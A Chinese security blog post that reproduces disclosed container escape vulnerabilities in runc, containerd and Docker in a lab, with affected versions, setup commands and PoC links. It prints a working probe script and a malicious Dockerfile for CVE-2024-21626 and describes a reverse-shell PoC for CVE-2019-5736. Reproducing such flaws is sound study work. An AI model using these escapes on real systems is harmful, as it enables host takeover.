云安全(九):容器逃逸—披露漏洞

云安全(九):容器逃逸—披露漏洞

JJ1ng JJ1ng 2025-04-09 23:30

0x00 Introduction

本篇章中将说明历史上有关容器逃逸的披露漏洞。个人才疏学浅,有未阐述清楚或遗漏的地方,还请谅解,相关的内容可自行搜索。

Docker 整体包括:Docker Client
、Docker Daemon
、Containerd
、Containerd-shim
、Runc
 等几部分。整体大致的通信流程如下:
1. 当 Docker Client
 发送命令时(如:docker run xxx
),通过 REST API
 或 gRPC
 请求将命令发送给 Docker Daemon
(守护进程,后续简称 dockerd

  1. 收到请求后,dockerd
     会检查本地是否存在指定镜像,如不存在则从镜像仓库拉取;随后 dockerd
     通过 gRPC
     将容器操作请求至 containerd

  2. containerd
     通过 fork/exec
     启动 runc
     进程,runc
     调用 syscall
     来配置 Namespaces
    、CGourps
    以及文件系统挂载等

  3. runc
     启动容器进程后会退出,并将 containerd
     创建的 shim
     进程作为容器的父进程,通过 Unix Socket
     进行通信

0x01 自身漏洞

1. Runc

Runc 负责容器生命周期的管理,由于其是直接和内核进行通信的,所以如果 Runc 本身存在漏洞,那么就很容易进行容器逃逸。

1.1 CVE-2019-5736

漏洞参考:
https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

利用脚本:
https://github.com/Frichetten/CVE-2019-5736-PoC

漏洞版本:
– Docker <= 18.09.2

  • RunC <= 1.0-rc6
sudo apt updatesudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-commonsudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"sudo apt updatesudo apt-cache madison docker-cesudo apt install docker-ce=18.06.1~ce~3-0~ubuntu# 启动容器sudo docker run -it ubuntu:18.04 bash

在实战环境中,容器不一定有 go 环境,因此最好的方式就是创建一个和容器相同的环境,随后将 Poc 编译好后上传至容器来进行利用。

修改 Poc 中执行的命令并编译,将结果拷贝至容器中(这里只做复现,不关心如何拿到容器权限)。编译命令:CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在容器中运行 ./main
,随后当宿主机用户执行 docker exec
 命令后,就会触发 main
 程序从而执行反弹 Shell 命令,实现容器逃逸。

1.2 CVE-2019-16884

跟着文章复现就行,漏洞参考:
https://wiki.teamssix.com/CloudNative/Docker/CVE-2019-16884.html

漏洞版本:
– Docker < 19.03.1

  • runC <= 1.0.0-rc8

1.3 CVE-2024-21626

漏洞参考:https://mp.weixin.qq.com/s/kMmeMusedbd1oeozUrX2gQ

漏洞版本:
– v1.0.0-rc93 <= Runc <= 1.1.11

首先通过如下脚本来确定宿主机上泄露的文件描述符。

#! /bin/bashfor i in {4..20}; do    docker run -it --rm -w /proc/self/fd/$i ubuntu:18.04 bash -c "cat /proc/self/cwd/../../../etc/passwd"done

可以看到 7 之后就泄漏出宿主机文件(也就是 /proc/self/fd/8
)。

创建 Dockerfile 文件,内容如下:

FROM ubuntu:18.04RUN apt update -y && apt install netcat -y# 注意如下的值,对应上述脚本执行的结果WORKDIR /proc/self/fd/8

构建恶意容器,并启动对应的恶意容器。

可以看到,成功访问到宿主机的根目录。

2. CVE-2020-15257

如果启动容器的时候使用 host
 模式,那么这个容器将不会获得一个独立的 Network Namespace
,而是和宿主机共用一个 Network Namespace

漏洞参考:
https://xz.aliyun.com/news/8511

漏洞版本:
– Containerd < 1.3.9

  • Containerd 1.4.0 ~ 1.4.2
sudo apt updatesudo apt install ca-certificates curl software-properties-commonsudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"sudo apt updatesudo apt-cache madison docker-cesudo apt install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1# 启动容器sudo docker run -it --net=host ubuntu:18.04 bash

使用最新版的 cdk 复现失败。

这里使用老版本的 cdk 成功复现。

3. CVE-2019-14271

漏洞参考:
https://tari.moe/2023/CVE-2019-14271.html

漏洞版本:v18.09 <= Docker < v19.03.1

这里通过 metarget
 来搭建漏洞环境。下载地址:
https://github.com/Metarget/metarget

使用 metarget
 会安装符合漏洞版本的组件后,下载 exp 并复制到容器中。下载地址:
https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp

4. CVE-2018-15664

漏洞利用条件苛刻,实战环境中难以用到,不做过多阐述。漏洞利用的具体过程可参考:
– https://cloud.tencent.com/developer/article/2098610

  • https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-15664/readme.md

漏洞版本:
– 17.06.0-ce < docker < 17.12.1-ce:rc2

  • 18.01.0-ce < docker < v18.06.1-ce:rc2

0x02 内核漏洞

容器共享宿主机内核,因此可以使用宿主机的内核漏洞进行容器逃逸。这里不做过多的介绍,相关内容可以参考如下文章:

https://wiki.teamssix.com/CloudNative/

https://blog.nsfocus.net/the-route-to-host/

https://github.com/duowen1/Container-escape-exps

https://github.com/Metarget/metarget/blob/master/README-zh.md

0x03 Reference

https://github.com/cdk-team/CDK

https://wiki.teamssix.com/CloudNative/

https://github.com/Metarget/metarget

https://xz.aliyun.com/news/8511

https://blog.nsfocus.net/the-route-to-host/